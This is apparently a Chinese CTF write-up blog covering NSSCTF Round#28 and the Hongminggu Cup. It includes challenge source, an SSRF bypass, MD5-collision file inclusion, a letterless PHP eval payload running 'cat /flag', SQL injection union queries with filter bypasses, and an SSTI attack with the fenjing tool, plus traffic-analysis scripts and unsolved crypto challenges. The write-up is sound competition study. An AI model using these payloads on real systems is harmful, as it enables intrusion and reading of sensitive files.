NSSCTF Round#28

Web

ez_ssrf

<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
$url = $_GET['url'];

if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}

$host = parse_url($url, PHP_URL_HOST);

$ip = gethostbyname($host);

$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}

curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>

直接绕过127.0.0.1的解析,?url=http://0.0.0.0/flag

0(缺省路由的写法也可以代表0.0.0.0) 0.0.0.0 都代表本地
127.x.x.x 除了.1都行,都是环回地址

ez_php

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$password = $_GET['password'];

if (is_numeric($password)) {
die("password can't be a number</br>");
} elseif ($password != 123456) {
die("Wrong password</br>");
}

if ($a != $b && md5($a) === md5($b)) {
echo "wonderful</br>";
include($_POST['file']); # level2.php
}
}
?>

%00进行截断,强比较网上随便找例子或者fastcoll生成,level2.php源码不高亮,得通过伪协议读出来(那这里是不是可以直接读flag)

import requests

with open("D:\\ctf-learning\\Misc_learning\\fastcoll\\sh_msg1.txt", 'rb') as f:
a = f.read()
with open("D:\\ctf-learning\\Misc_learning\\fastcoll\\sh_msg2.txt", 'rb') as f:
b = f.read()

data = {
'a': a,
'b': b,
'file': 'php://filter/convert.base64-encode/resource=/var/www/html/level2.php'
}

url = "http://node3.anna.nssctf.cn:28816/?password=123456%00"
res = requests.post(url, data=data)
print(res.text)
# level2.php
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo ("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>

拿正则匹配的东西去搜,可以找到,参考原题构造

import requests
data = {'rce': '$_=([].¥){3};$_++;$_.=++$_;$_++;$_++;$_++; $_++;$_++;$_.=([].¥){2};$_=_.$_(71).$_(69).$_(84);($$_{0})($$_{1});'
}
url = "http://node3.anna.nssctf.cn:28816/level2.php?0=system&1=cat /flag"
res = requests.post(url, data=data)
print(res.text)

light_pink

试出了,用单引号进行闭合(字符型注入),order by查询列数,发现数据库错误,那就试着把注释带上(这是个好习惯),不可以用-,用#也不行,换%23

id=1' order by 5%23 查到列数为5

id=0' union select 1,2,3,database(),5%23 联合注入中需要id为不存在的数才能把union查询的内容回显,得到nss_board

id=0' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema like 'nss_board'%23 这里过滤了等号,用like绕过即可,得到Cute,messages

id=0' union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name like 'Cute'%23 得到id,Happy,另外一个是id,username,title,content,created_at

id=0' union select 1,2,3,group_concat(Happy),5 from Cute%23

说实话sqlmap好像梭不出来(),还有人把数据库扫出来了

Coding Loving

Code Audit

app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'test'
command = request.form.get('cmd', 'coding')
return render_template('index.html', command=command)

@app.route('/test', methods=['GET', 'POST'])
def shell():
if session.get('user') != 'test':
return render_template('Auth.html')
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('Auth.html')
cmd = request.args.get('cmd', '试一试')
if request.method == 'POST':
css_url = url_for('static', filename='style.css')
command = request.form.get('cmd')
if contains_forbidden_keywords(command):
return render_template('forbidden.html')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loving Music</title>
<link rel="stylesheet" href="{css_url}">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>Loving coding</h1>
<p class="emoji">🧑‍💻</p>
<p>{command}</p>
</div>
</body>
</html>
''', command=command,css_url=css_url)
return render_template('shell.html', command=cmd)

看见了render_template_string,那就打SSTI,说实话折腾了好久焚尽,就是不行,好奇怪

最后去wsl里面试试,发现成功了。。。。webui和黑名单(这个我没fuzz,拿的别人wp的),都失败了,最后参考这篇crack-request
这是windows的,有点逆天

这是我wslpip install fenjing

自己抓的包

POST /test HTTP/1.1
Host: node6.anna.nssctf.cn:24482
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Origin: http://node6.anna.nssctf.cn:24482
Referer: http://node6.anna.nssctf.cn:24482/
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1733148706,1733212021,1733212157,1733420774; session=eyJ1c2VyIjoidGVzdCJ9.Z-Elfw.u8hpIKgL8gXSzLW0ayQI4Y3KYjw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

cmd=PAYLOAD

python3 -m fenjing crack-request -f http.txt --host "node6.anna.nssctf.cn" --port 24482

红明谷杯

Misc

异常行为溯源()

30万个流量包,数据解一次base64,还有提取中间的内容再解一次base64才能拿到ip,随便试了几个,不对,python脚本提的数据不太行,是时候补个流量分析工具了(bushi),NetA Pro在整不知道用不用得上,试了一下没用,还是要靠脚本提

晚上找到了一篇wp,其他题目也可以参考

# from json import load
from pyshark import FileCapture
from base64 import b64decode
from json import loads

with open("C:\\Users\\27920\\Desktop\\hmg2025\\log.log", "a") as f:
for packet in FileCapture(input_file="C:\\Users\\27920\\Desktop\\hmg2025\\network_traffic.pcap", keep_packets=False):
tcp = packet.tcp
data = bytes.fromhex(tcp.payload.replace(":", "")).decode()
data = b64decode(data).decode()
data = loads(data)
msg = data["msg"]
type = data["type"]
msg = b64decode(msg).decode().strip()
f.write(msg+"\n")

好好好,原来脚本要这样写,载入流量包这一块就没经验了,如果wireshark安装不是默认路径,得参考修改

然后就是正则匹配

import re
from datetime import datetime
logs = open("C:\\Users\\27920\\Desktop\\hmg2025\\log.log").readlines()
log_match = re.compile(
r'(\d+\.\d+\.\d+\.\d+) ?- - \[(.*) \+\d+\] "(\w+) ([\w\/.-]+) HTTP\/1\.1" \d+ \d+ "-" ".*"')
ip_maps = {}
for log in logs:
m = log_match.match(log)
ip = m.group(1)
time = m.group(2)
time = datetime.strptime(time, "%d/%b/%Y:%H:%M:%S")
method = m.group(3)
url = m.group(4)
# print(time_match.match(time).group())
ip_maps[ip] = ip_maps.get(ip, 0) + 1

# print()
ip_maps = sorted(ip_maps.items(), key=lambda x: x[1], reverse=True)
for ip, count in ip_maps:
print(ip, count)
break

web

简单的仓库

先注册,然后抓包充值接口

发现应该是目录读取,hvang/readme.txt这样,直接读根目录

想办法读文件,这时候发现我们还是guest,继续抓包改一下权限

之后可以下载文件,找到下载路径,查看/flag.sh,找到flag文件位置

你这仓库user目录居然可以这样控制的,六百六十六啊

日记本()

还没来得及看,今天怎么一堆比赛啊QWQ,后面再找个wp补补

好吧,看了一下,不怎么好打

Crypto(unsolved)

qaq

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from sage.all import *
from functools import reduce

def mul(numbers):
return reduce(lambda x, y: x * y, numbers)

res = [4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272555731, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556223, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556437, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556749, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557237, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557459, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557687, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558239, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558627, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559239, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560169, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560343, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560433, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560751, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560969, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272561441, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562103, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562601, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563261, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563297, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563391, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563511, 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563711]
p = res[11]
pp = mul(res)
K = GF(p)
E = EllipticCurve(K, (0, 4))
qwq = 0x320238b
qaq = E.order()//qwq**2

flag = pad(open("flag.txt", "rb").read().strip(),4)
flag_part = [bytes_to_long(flag[i:i+2]) for i in range(0, len(flag), 2)]

output = []
for c in flag_part:
P1 = qaq*E.random_element()
P2 = qaq*E.random_element()
out = P1.weil_pairing(P2, qwq)**3*c
output.append(pow(out,qaq, pp))
print(output)
"""
[2258729984869869545899085887518820011795880892632317458813070773270633871398785757696896679887453336507722151037267, 1843407310728065127389586068976768146728145160643439144895915852634291722663455873979176336542780552480617232750208, 1107061034832953338095294459542523703297843192927313275050958753437078121375795698115353665062727895555487155331316, 460337686287218470707660572908024613140030922587867288532588857547792028112129697850035268228038619747643899804437, 1659483062154723617504533638726171721668768657049197025961515070605996080663312140357834824850074607457421362000265, 3150528329201636320206556304125544975332446992414777732425647667048147102509308959254762895094589762017857965981432, 3338854035461286314545186888372727000962778038359519702308782495912356677650264814573463929190025956045491115654437, 3042574495339632074308497406446851120362994432361876743901608172567070991832258762751304397604780567703759317642849, 380771388315580393673388198522357440257018642337119013880143084485482127962577943753495690258532782147018511750175, 507222017133457507399048159541059729302482262298099528096040456818913085187752925782279385808732260473494863290057, 533663958640518878580794848474449572155795564171089765377581587253792204491009275840408579120376539757958097910250, 2681145160205204287930367627648683111546318004811732016137828270063753300095675791698398080219566725174890793619305, 3259478178021541801713314504097142165241891541242669456591074651894459393333167453811425864198267757724232689747676, 3553147298452254907907643059383506744982654808021508866104139240155822133286673657139615950259800036058045049186173, 1778776925369812510137824472396145391840300438509021838870105004154301861222612045533034046889878767915343446874895, 3409071358092535255033136229525415652816479844958949032220987821989305575696869929136493897719813036034016228268240, 571819148781137687997336847709735468532344087614483867682513640750800758034003212746545051127998686475933050072942, 2676666310158795770609746651024766841212271213339384335651155407291004834251914242990757216402110096603729617413168, 2557670339976470006330058052583841683167706755578266425502679937976714609864257535859316483527764340425703004883241, 973319024062640263364951783086923560907216776835485042157036675663719529568519121997200478026304141184810597275543, 1189768012357955450386827626693191057999220508190415783719135619271537446794904663649700073564180453068646130539863, 790522915783756530835443034667719516913120763875831140857606265058871034793645280121113275798239222760522467771184]
"""

好吧,在MOV攻击中看到过这个,Weil Pairing,没啥思路,不了解这东西
有空跟wp认真学一下

ECBag

from random import randint, choice
from Crypto.Util.number import *
from secret import flag

p = getPrime(160)
print("p =", p)
a, b = int(input("a =")), int(input("b ="))
assert len(set([a%p, b%p, (a+b)%p, (a-b)%p])) == 4
E1 = EllipticCurve(Zmod(p), [a, b])
E2 = EllipticCurve(Zmod(p), [a+b, a-b])
P, Q = E1.gens()[0], E2.gens()[0]

n = 80
s = [choice([0, bytes_to_long(flag)]) for _ in range(n)]
sP, sQ = [_*P for _ in s], [_*Q for _ in s]
AP, AQ = [randint(0, p) for _ in range(n)], [randint(0, p) for _ in range(n)]
encP, encQ = sum([AP[_]*sP[_] for _ in range(n)]), sum([AQ[_]*sQ[_] for _ in range(n)])

print("A =", [AP, AQ])
print("enc =", [P.xy(), Q.xy(), encP.xy(), encQ.xy()])

else

未央师傅的wp